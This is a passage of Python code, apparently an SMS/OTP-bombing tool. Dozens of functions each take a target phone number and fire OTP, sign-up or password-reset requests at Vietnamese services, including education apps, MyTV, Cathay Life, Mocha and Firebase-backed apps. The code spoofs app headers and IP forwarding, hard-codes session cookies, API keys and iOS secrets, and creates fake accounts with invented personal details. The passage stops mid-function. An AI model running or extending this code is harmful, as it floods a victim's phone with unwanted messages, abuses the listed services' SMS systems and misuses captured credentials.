		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-organization': 'https://client.hangve.com',
	}

	try:
		response = requests.get(f'https://api-client.hangve.com/api/auth/reset-password/by-phone/{sdt}', headers=headers)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def unica(sdt): #ap
	headers = {
		'Host': 'id.unica.vn',
		'accept': 'application/json',
		'content-type': 'application/json',
		'user-agent': 'Unica/1 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}
	random_email = generate_random_email()
	json_data = {
		'full_name': 'huytrrrrddf',
		'email': random_email,
		'password': 'tttyyyuuu',
		'phone': sdtt(sdt),
	}

	response = requests.post('https://id.unica.vn/api/users', headers=headers, json=json_data)
	headers = {
		'Host': 'id.unica.vn',
		'accept': 'application/json',
		'content-type': 'application/json',
		'user-agent': 'Unica/1 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone': sdtt(sdt),
	}

	try:
		response = requests.post('https://id.unica.vn/api/get-pin-code', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def monkeyjunior(sdt): #ap; nhieu ap phet
	headers = {
		'Host': 'app.monkeyenglish.net',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'MonkeyJunior/410000799 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	params = {
		'lang': 'vi-VN',
	}

	json_data = {
		'app_id': 2,
		'device_id': '104547954',
		'os': 'ios',
		'info': 'Application Version: 42.0.84 OS: ios Model: iPhone 7 System Version: 15.8.2',
		'subversion': '42.0.84',
		'device_type': 2,
		'is_test': False,
		'os_name': 'iOS',
		'type': 3,
		'phone': sdt[1:10],
		'password': '123123aa@',
		'country_code': '+84',
		'is_upgrade': False,
	}

	response = requests.post(
		'https://app.monkeyenglish.net/app/api/v2/account/authen/register',
		params=params,
		headers=headers,
		json=json_data,
	)
	headers = {
		'Host': 'app.monkeyenglish.net',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'MonkeyJunior/410000799 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	params = {
		'lang': 'vi-VN',
	}

	json_data = {
		'app_id': 2,
		'device_id': '104547954',
		'os': 'ios',
		'info': 'Application Version: 42.0.84 OS: ios Model: iPhone 7 System Version: 15.8.2',
		'subversion': '42.0.84',
		'device_type': 2,
		'is_test': False,
		'os_name': 'iOS',
		'type': 1,
		'country_code': '+84',
		'phone': sdt[1:10],
		'email': '',
	}

	try:
		response = requests.post(
			'https://app.monkeyenglish.net/app/api/v1/account/send-opt-verify-pw',
			params=params,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def babilala(sdt):
	headers = {
		'Host': 'api.babilala.vn',
		'phone': sdt,
		'accept': '*/*',
		'lang': 'vi',
		'content-type': 'application/x-www-form-urlencoded',
		'x-unity-version': '2019.3.15f1',
		'user-agent': 'babilala/1 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	try:
		response = requests.post('https://api.babilala.vn/api/getOtp', headers=headers)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def edupia(sdt): #ap
	headers = {
		'Host': 'service3.edupia.vn',
		'accept': '*/*',
		'content-type': 'application/json',
		'x-unity-version': '2020.3.48f1',
		'user-agent': 'EDUPIA/3 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
		'access-control-allow-origin': '*',
	}

	json_data = {
		'app_code': 'edupia_cap1',
		'app_version': '4.4.28',
		'device_os': 'Other',
		'device_model': 'iOS1582',
		'user_agent': '',
		'device_id': '90717ADD-D733-4132-AAF7-FB696FFE43AA',
		'device_name': 'thanh',
		'ip': '',
		'user_id': 0,
		'ApiCache': {
			'ip_cache': {
				'client_ip': '',
				'client_ip_long': '',
				'country_code': '',
				'country_name': '',
				'region_name': '',
				'latitude': '',
				'longitude': '',
				'time_zone': '',
				'zip_ocd': '',
			},
		},
		'file': [],
		'parent_name': 'dat sen',
		'phone': sdt,
		'product_type': '1',
		'deviceId': '',
		'source_register': 'App C1',
		'campaign_name': 'Inhouse_Edupia TH App_Há»�c thá»\xad_V2_Ä�Äƒng kÃ½',
		'product_register': -1,
		'username': '',
		'utm_source': '',
	}

	response = requests.post(
		'https://service3.edupia.vn/service/v2/users/2.1/register/create-user-trial',
		headers=headers,
		json=json_data,
	)
	cookies = {
		'_ga': 'GA1.2.1688129155.1735460145',
		'_gat_UA-116690073-3': '1',
		'_gcl_au': '1.1.1852251882.1735460145',
		'_gid': 'GA1.2.1381524696.1735460145',
	}

	headers = {
		'Host': 'api-cms-core.edupia.vn',
		# 'Cookie': '_ga=GA1.2.1688129155.1735460145; _gat_UA-116690073-3=1; _gcl_au=1.1.1852251882.1735460145; _gid=GA1.2.1381524696.1735460145',
		'accept': '*/*',
		'content-type': 'application/json',
		'x-unity-version': '2020.3.48f1',
		'user-agent': 'EDUPIA/3 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
		'access-control-allow-origin': '*',
	}

	json_data = {
		'app_code': 'edupia_cap1',
		'app_version': '4.4.28',
		'device_os': 'Other',
		'device_model': 'iOS1582',
		'user_agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148',
		'device_id': '90717ADD-D733-4132-AAF7-FB696FFE43AA',
		'device_name': 'thanh',
		'ip': '',
		'user_id': 0,
		'ApiCache': {
			'ip_cache': {
				'client_ip': '',
				'client_ip_long': '',
				'country_code': '',
				'country_name': '',
				'region_name': '',
				'latitude': '',
				'longitude': '',
				'time_zone': '',
				'zip_ocd': '',
			},
		},
		'file': [],
		'phone': sdt,
		'operation': 3,
	}

	try:
		response = requests.post(
			'https://api-cms-core.edupia.vn/api/v2/authentication/get-vcode',
			cookies=cookies,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vkids(sdt): #ap
	headers = {
		'Host': 'payment.api.deltago.com',
		'X-Unity-Version': '2021.3.12f1',
		'Accept': '*/*',
		'app_version': '2.13.0',
		'device_info': 'iPhone9,3',
		'lang_code': 'vi',
		'user_id': '0',
		'bundleid': 'com.vkids.ios.abctiengviet',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'platform': '1',
		'app_info': '2.13.0',
		'User-Agent': 'VkidsABC/2.13.0.1 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'country_code': 'VN',
		'Content-Type': 'application/x-www-form-urlencoded',
	}

	data = {
		'phone': sdt[1:10],
		'appKey': 'Ydfa76f765SA46HAA56sHFDMF8K4S5IK',
		'app_id': 'com.vkids.ios.abctiengviet',
	}

	try:
		response = requests.post('http://payment.api.deltago.com/api/auth/get-otp-vmg', headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def mytv(sdt):
	headers = {
		'Accept': '*/*',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Access-Control-Allow-Origin': '*',
		'Connection': 'keep-alive',
		'Content-Type': 'application/json',
		'Macaddress': '1efca607-2227-610e-9234-109156bec4fb',
		'Origin': 'https://mytv.com.vn',
		'Referer': 'https://mytv.com.vn/',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'cross-site',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	json_data = {
		'device_model': 'Browser',
		'device_type': 127,
		'email': '',
		'login_type': '1',
		'phone': sdt,
		'type': '1',
	}

	try:
		response = requests.post(
			'https://apigw.mytv.vn/api/v1/authen-handle/sendOTP?&uuid=64e8c0d4-c73b-4158-8513-ca4519d9e826',
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def cathaylife(sdt):
	cookies = {
		'TS01f67c5d': '0110512fd75d28cd8dca1406809047fa9a58228de78dc79d02c4c49bc535883d25523c8e55da9b48b384d5b6079c27bc2d0868d555',
		'JSESSIONID': 'QXaao33SxRv3Ag0OYonbPE6d.06283f0e-f7d1-36ef-bc27-6779aba32e74',
		'dtCookies05g7k3y': 'v_4_srv_1_sn_394FDFD95DC05D18FC363F15F943EBB9_perc_100000_ol_0_mul_1_app-3Aea7c4b59f27d43eb_1',
		'BIGipServerB2C_http': '!exmKDAWgt+BvyVjRrhDcHTnwa9KJ8dX1VrymLFuvhZFmAgzYJv4C7yoyyLs5rrnuzL+6BJJLRW387w==',
		'INITSESSIONID': '027279fa9c4b49c532cab7766a507b45',
		'TS0173f952': '0110512fd7c148a6fb3692b2b5119cffb84b239c53bdfb293146215cc30f047366ba951d13aabe14f131bc7a76dc30465f75cacac3',
	}

	headers = {
		'Accept': '*/*',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
		# 'Cookie': 'TS01f67c5d=0110512fd75d28cd8dca1406809047fa9a58228de78dc79d02c4c49bc535883d25523c8e55da9b48b384d5b6079c27bc2d0868d555; JSESSIONID=QXaao33SxRv3Ag0OYonbPE6d.06283f0e-f7d1-36ef-bc27-6779aba32e74; dtCookies05g7k3y=v_4_srv_1_sn_394FDFD95DC05D18FC363F15F943EBB9_perc_100000_ol_0_mul_1_app-3Aea7c4b59f27d43eb_1; BIGipServerB2C_http=!exmKDAWgt+BvyVjRrhDcHTnwa9KJ8dX1VrymLFuvhZFmAgzYJv4C7yoyyLs5rrnuzL+6BJJLRW387w==; INITSESSIONID=027279fa9c4b49c532cab7766a507b45; TS0173f952=0110512fd7c148a6fb3692b2b5119cffb84b239c53bdfb293146215cc30f047366ba951d13aabe14f131bc7a76dc30465f75cacac3',
		'Origin': 'https://www.cathaylife.com.vn',
		'Referer': 'https://www.cathaylife.com.vn/CPWeb/portal/register',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Opera";v="116", "Chromium";v="131", "Not_A Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	data = {
		'phone': sdt,
		'email': 'quadeptraidi@gmail.com',
		'LINK_FROM': 'signUp2',
		'CUSTOMER_NAME': 'Natsuno Suki',
		'memberID': '',
		'POL_HOLDER_NUM': 'undefined',
		'LANGS': 'vi_VN',
	}

	try:
		response = requests.post(
			'https://www.cathaylife.com.vn/CPWeb/servlet/HttpDispatcher/CPZ1_0110/sendOTP',
			cookies=cookies,
			headers=headers,
			data=data,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def cathayliferesend(sdt):
	cookies = {
		'TS01f67c5d': '0110512fd75d28cd8dca1406809047fa9a58228de78dc79d02c4c49bc535883d25523c8e55da9b48b384d5b6079c27bc2d0868d555',
		'JSESSIONID': 'QXaao33SxRv3Ag0OYonbPE6d.06283f0e-f7d1-36ef-bc27-6779aba32e74',
		'dtCookies05g7k3y': 'v_4_srv_1_sn_394FDFD95DC05D18FC363F15F943EBB9_perc_100000_ol_0_mul_1_app-3Aea7c4b59f27d43eb_1',
		'BIGipServerB2C_http': '!exmKDAWgt+BvyVjRrhDcHTnwa9KJ8dX1VrymLFuvhZFmAgzYJv4C7yoyyLs5rrnuzL+6BJJLRW387w==',
		'INITSESSIONID': '027279fa9c4b49c532cab7766a507b45',
		'TS0173f952': '0110512fd7c148a6fb3692b2b5119cffb84b239c53bdfb293146215cc30f047366ba951d13aabe14f131bc7a76dc30465f75cacac3',
	}

	headers = {
		'Accept': '*/*',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
		# 'Cookie': 'TS01f67c5d=0110512fd75d28cd8dca1406809047fa9a58228de78dc79d02c4c49bc535883d25523c8e55da9b48b384d5b6079c27bc2d0868d555; JSESSIONID=QXaao33SxRv3Ag0OYonbPE6d.06283f0e-f7d1-36ef-bc27-6779aba32e74; dtCookies05g7k3y=v_4_srv_1_sn_394FDFD95DC05D18FC363F15F943EBB9_perc_100000_ol_0_mul_1_app-3Aea7c4b59f27d43eb_1; BIGipServerB2C_http=!exmKDAWgt+BvyVjRrhDcHTnwa9KJ8dX1VrymLFuvhZFmAgzYJv4C7yoyyLs5rrnuzL+6BJJLRW387w==; INITSESSIONID=027279fa9c4b49c532cab7766a507b45; TS0173f952=0110512fd7c148a6fb3692b2b5119cffb84b239c53bdfb293146215cc30f047366ba951d13aabe14f131bc7a76dc30465f75cacac3',
		'Origin': 'https://www.cathaylife.com.vn',
		'Referer': 'https://www.cathaylife.com.vn/CPWeb/portal/register',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Opera";v="116", "Chromium";v="131", "Not_A Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	data = {
		'memberMap': f'{{"userName":"quadeptraidi@gmail.com","password":"123123aA@","birthday":"10/12/1998","certificateNumber":"001203504665","phone":"{sdt}","email":"quadeptraidi@gmail.com","LINK_FROM":"signUp2","memberID":"","CUSTOMER_NAME":"Natsuno Suki"}}',
		'OTP_TYPE': 'P',
		'LANGS': 'vi_VN',
	}

	try:
		response = requests.post(
			'https://www.cathaylife.com.vn/CPWeb/servlet/HttpDispatcher/CPZ1_0110/reSendOTP',
			cookies=cookies,
			headers=headers,
			data=data,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def prepedu(sdt):
	headers = {
		'accept': 'application/json',
		'accept-language': 'vi',
		'content-type': 'application/json',
		'origin': 'https://prepedu.com',
		'priority': 'u=1, i',
		'referer': 'https://prepedu.com/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-forwarded-for': '171.224.177.243, 172.17.29.253',
		'x-locale': 'vi',
	}

	params = ''

	json_data = {
		'phone': sdtt(sdt),
	}

	try:
		response = requests.post('https://accounts.prep.vn/api/v1/auth/phone-otp/login', params=params, headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def bigm(sdt):
	cookies = {
		'bigm_session': 'eyJpdiI6Im9lZHJxSElcL3Zydk5VYnlxVGE2TUtRPT0iLCJ2YWx1ZSI6ImhnXC9QUW9hSkR6TEdMUm5NYXVXang5VXhHZGhFeGo2MWVZV1FXNGU0aWhcL1NBdTFtTXlXSWhZclRxQlNVMno3a3p6Z3BacmJFYzExdFZxV1wvN3lqa1FyMFBCamtaU0NSakN6QkdaWlJSQTkrd3pBQml5ejYrRmZOSnFSKzY2NmJJIiwibWFjIjoiYWZjYmFmZWQyODY0MTgwZTkxNGNlY2Q1NDcxMjM0NDViMzYxNGFmMzk2N2RhZTViYzYxYWIyZTBjNTYwMjY3ZCJ9',
	}

	headers = {
		'Accept': '*/*',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'Cookie': 'bigm_session=eyJpdiI6Im9lZHJxSElcL3Zydk5VYnlxVGE2TUtRPT0iLCJ2YWx1ZSI6ImhnXC9QUW9hSkR6TEdMUm5NYXVXang5VXhHZGhFeGo2MWVZV1FXNGU0aWhcL1NBdTFtTXlXSWhZclRxQlNVMno3a3p6Z3BacmJFYzExdFZxV1wvN3lqa1FyMFBCamtaU0NSakN6QkdaWlJSQTkrd3pBQml5ejYrRmZOSnFSKzY2NmJJIiwibWFjIjoiYWZjYmFmZWQyODY0MTgwZTkxNGNlY2Q1NDcxMjM0NDViMzYxNGFmMzk2N2RhZTViYzYxYWIyZTBjNTYwMjY3ZCJ9',
		'Origin': 'https://base.bigm.vn',
		'Referer': 'https://base.bigm.vn/register/step2?id=367',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	data = {
		'phone': sdt,
	}

	try:
		response = requests.post('https://base.bigm.vn/api/send-sms/opt', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def homedy(sdt):
	headers = {
		'Host': 'sso.homedy.com',
		'content-type': 'application/json',
		'x-client-bundle': 'com.Homedy.Mobile',
		'accept': 'application/json',
		'x-client-version': '3.7.1',
		'x-client-app-code': 'homedy',
		'accept-language': 'vi-VN,vi;q=0.9',
		'x-client-locale': 'vi',
		'user-agent': 'HomedyApp/241015 CFNetwork/1494.0.7 Darwin/23.4.0',
		'x-device-id': 'EF7DF7A4-A404-448F-81D8-3B98952F7428',
	}

	json_data = {
		'Mobile': sdt,
		'TypeId': 3,
	}

	try:
		response = requests.post('https://sso.homedy.com/User/SendOTP', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def atmnha(sdt):
	headers = {
		'accept': '*/*',
		'accept-language': 'vi',
		'content-type': 'application/json',
		'origin': 'https://atmnha.vn',
		'priority': 'u=1, i',
		'referer': 'https://atmnha.vn/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
	}

	json_data = {
		'operationName': 'sendCode',
		'variables': {
			'phone': sdt,
			'type': 'signUp',
			'identifier': 'identifier',
		},
		'query': 'mutation sendCode($phone: String!, $type: SendVerificationCodeType, $identifier: String!) {\n  sendCode(phone: $phone, type: $type, identifier: $identifier) {\n    payload\n    success\n    msg\n    __typename\n  }\n}',
	}

	try:
		response = requests.post('https://api.realtech247.com/v1/users/graphql', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def dynaminds(sdt): #ap
	headers = {
		'Host': 'api.dynaminds.vn',
		'Content-Type': 'application/json',
		'Accept': 'application/json, text/plain, */*',
		'User-Agent': 'Dynamic%20%20%20Hosting/1.4.1 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept-Language': 'vi',
	}

	json_data = {
		'phone_number': sdt,
		'provider': 'self',
	}

	try:
		response = requests.post('https://api.dynaminds.vn/api/v1/oauth/register', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def gicula(sdt): #ap
	headers = {
		'Host': 'www.googleapis.com',
		'x-client-version': 'iOS/FirebaseSDK/10.7.0/FirebaseCore-iOS',
		'content-type': 'application/json',
		'accept': '*/*',
		'x-ios-bundle-identifier': 'com.gicula.gicula',
		'x-firebase-gmpid': '1:441632033845:ios:061257dd081a2a584d357c',
		'user-agent': 'FirebaseAuth.iOS/10.7.0 com.gicula.gicula/1.0.0 iPhone/17.4.1 hw/iPhone11_8',
		'accept-language': 'en',
	}

	params = {
		'key': 'AIzaSyArzuGpJSuQjY4BTPYKYvWbwhQyj-kqASc',
	}

	json_data = {
		'iosReceipt': 'AEFDNu8_Yf8zrW2KgVdtcYc_ZbgQNUfodc5BwLciW683p90mtt9WQ003Jl9exctAUMbeoOohuoh0F0dsLqXXl338Wr5lLApbo0PO2J5P89VV9WlqZbp7tYUie2rDvMw',
		'iosSecret': 'dQffunpOd3g77AuP',
		'phoneNumber': sdtt(sdt),
	}

	try:
		response = requests.post(
			'https://www.googleapis.com/identitytoolkit/v3/relyingparty/sendVerificationCode',
			params=params,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def dalatbds(sdt): #ap
	headers = {
		'Host': 'www.googleapis.com',
		'content-type': 'application/json',
		'accept': '*/*',
		'x-client-version': 'iOS/FirebaseSDK/10.15.0/FirebaseCore-iOS',
		'x-firebase-appcheck': 'eyJraWQiOiJRNmZ5eEEiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiIxOjE2NTYxNzc3NjEyOmlvczpkMjRkODFiNzlmODY0ZWIzNGY4YjY5IiwiYXVkIjpbInByb2plY3RzXC8xNjU2MTc3NzYxMiIsInByb2plY3RzXC9kYWxhdC1iZHMiXSwicHJvdmlkZXIiOiJkZXZpY2VfY2hlY2tfYXBwX2F0dGVzdCIsImlzcyI6Imh0dHBzOlwvXC9maXJlYmFzZWFwcGNoZWNrLmdvb2dsZWFwaXMuY29tXC8xNjU2MTc3NzYxMiIsImV4cCI6MTczNjAwMDkwNywiaWF0IjoxNzM1OTk3MzA3LCJqdGkiOiIyMmpLTlhETlJEbEVHN2dQcUFLc2pwZy03V2toLU54M3pvMFZrXzdIcHJBIn0.hGOFfIogOZLZYQmb1v1SiUUoAgYh6iLp5glfR5uMtQQHVq2K-zhuJwxRtyxNfxsI89Mt3CXGU5m5ZiTc8m_VOVlJulyUTE5D0KP-y5ZsqycB7BJiH8IG7EGhS4uAOtvOHXCF-DFdPdvtR7pxMUHYkwIsxritRoLt7rTI8qCAhgTT4nEWRjjXvYmJo8B9dhF6_ExClj0Au9UioYnnhqYnDL8GTBzeO8entjmRlt9xbHTVbtTVcrFc0TWZj8xLnwTdnGkyDUxhvHRit2zE46mikcdw3I0gOJHqvF-uSw-7t66euJCKfYn0xeTMNU3Hg4vC1EiyN8Mhj_OdIYU6YAjpMG1w6XZ9RsIg2FNmiGeFZ4tRbiaw2hIeGHYLhMrq1GckOvrnA5PXoIg89W2lQ62Ye9P2xpGXEUc-CNqwt1n1o5Hu-fIetSG4qgNi1TgWbU7O8SPLS8Jw3fnLYezBcS2olhwu91HL65EkL7FUZwT5ldlDgBPvGjW2pdESH59y0FY1',
		'x-ios-bundle-identifier': 'com.dalatbds.ebroker',
		'accept-language': 'en',
		'user-agent': 'FirebaseAuth.iOS/10.15.0 com.dalatbds.ebroker/1.0.3 iPhone/17.4.1 hw/iPhone11_8',
		'x-firebase-gmpid': '1:16561777612:ios:d24d81b79f864eb34f8b69',
	}

	params = {
		'key': 'AIzaSyAoqJnJMlDHjlZuLPhvEVStfo4CvHax6t4',
	}

	json_data = {
		'iosReceipt': 'AEFDNu8BB_sx6nGU_12r9zfctn8oRGR-V4NtfLbaKq8cSlpNf-sxTq7ay1MGIKpVQ0HSdxN2zCLTdyQxWdBmnd79QA5iBwND6OFpe4uDdCLNZcQ2KojI71RNcnuZ_WkBsg',
		'iosSecret': 'S2e5YvF91lUom3pY',
		'phoneNumber': f'+84{sdt}',
	}

	try:
		response = requests.post(
			'https://www.googleapis.com/identitytoolkit/v3/relyingparty/sendVerificationCode',
			params=params,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def mocha2(sdt): #ap check
	headers = {
		'Host': 'hlvip.mocha.com.vn:80',
		'uuid': '9A886A24-F17E-4576-8C00-B8206C0A1FA1',
		'Accept': '*/*',
		'countryCode': 'VN',
		'Accept-Language': 'vi-VN;q=1',
		'languageCode': 'vi',
		'User-Agent': 'mocha/6.00 (iPhone; iOS 17.4.1; Scale/2.00)',
		'gender': '0',
		'Content-Type': 'application/x-www-form-urlencoded',
	}

	data = {
		'clientType': 'ios',
		'countryCode': 'VN',
		'device': 'iPhone 14',
		'os_version': 'iOS_18',
		'platform': 'ios',
		'revision': '11731',
		'username': sdt,
		'version': '6.00',
	}

	try:
		response = requests.post('http://hlvip.mocha.com.vn:80/ReengBackendBiz/genotp/v33', headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def mocha35(sdt): #ap check
	headers = {
		'Host': 'v2sslapimocha35.mocha.com.vn',
		'uuid': '9A886A24-F17E-4576-8C00-B8206C0A1FA1',
		'Accept': '*/*',
		'APPNAME': 'MC35',
		'countryCode': 'VN',
		'languageCode': 'vi',
		'Accept-Language': 'vi-VN;q=1',
		'User-Agent': 'mocha/1.31 (iPhone; iOS 17.4.1; Scale/2.00)',
		'Content-Type': 'application/x-www-form-urlencoded',
	}

	data = {
		'clientType': 'ios',
		'countryCode': 'VN',
		'device': 'iPhone11,8',
		'os_version': 'iOS_17.4.1',
		'platform': 'ios',
		'revision': '11235',
		'username': sdt,
		'version': '1.31',
	}

	try:
		response = requests.post('https://v2sslapimocha35.mocha.com.vn/ReengBackendBiz/genotp/v32', headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def jupviec(sdt): #ap
	headers = {
		'Host': 'wondermaid.jupviec.vn',
		'Content-Type': 'application/json; charset=UTF-8',
		'Accept': 'application/json',
		'x-token': '2',
		'x-application-id': '1',
		'identification': '{"appVersion":"4.1.168","buildVersion":"1734778835","imei":"BA7E7009-6090-42D5-9921-BB8AFE72077F","platform":"ios","deviceId":"iPhone11%2C8","deviceName":"iPhone","manufacturer":"Apple","isEmulator":false,"appType":"CUSTOMER","language":"vi","timezone":7}',
		'Accept-Language': 'vi',
		'User-Agent': 'JupViec/1734778835 CFNetwork/1494.0.7 Darwin/23.4.0',
	}

	json_data = {
		'phone': sdt,
		'countryCode': '+84',
	}

	try:
		response = requests.post('https://wondermaid.jupviec.vn/api/account/send-otp', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def guvi(sdt):
	headers = {
		'Host': 'server.guvico.com',
		'Content-Type': 'application/json',
		'User-Agent': 'Guvi/11 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept': 'application/json, text/plain, */*',
		'version': '1.1.44',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'Authorization': 'Bearer null',
	}

	params = {
		'lang': 'vi',
	}

	json_data = {
		'code_phone_area': '+84',
		'phone': sdt,
	}

	try:
		response = requests.post('https://server.guvico.com/customer/auth/register_phone', params=params, headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def aio(sdt):
	cookies = {
		'mage-cache-storage': '{}',
		'mage-cache-storage-section-invalidation': '{}',
		'form_key': '2t5QRPIHEoET1XqG',
		'recently_viewed_product': '{}',
		'recently_viewed_product_previous': '{}',
		'recently_compared_product': '{}',
		'recently_compared_product_previous': '{}',
		'product_data_storage': '{}',
		'mage-messages': '',
		'form_key': '2t5QRPIHEoET1XqG',
		'PHPSESSID': 'bi4pnbrrv425ea5sd74nuusk58',
		'city_id': '1',
		'X-Magento-Vary': 'de9de66e57881beeebcb76e4db8a29ecd7a66c6f08b2640dae67162824fbd615',
		'district_id': '1',
		'seller_code_selected': '1',
		'mage-cache-sessid': 'true',
		'private_content_version': '33bf4549bd7b106f6f4c6475f8ecf7d9',
		'section_data_ids': '{%22compare-products%22:1735998838%2C%22cart%22:1735998838%2C%22messages%22:1735998932}',
	}

	headers = {
		'accept': '*/*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
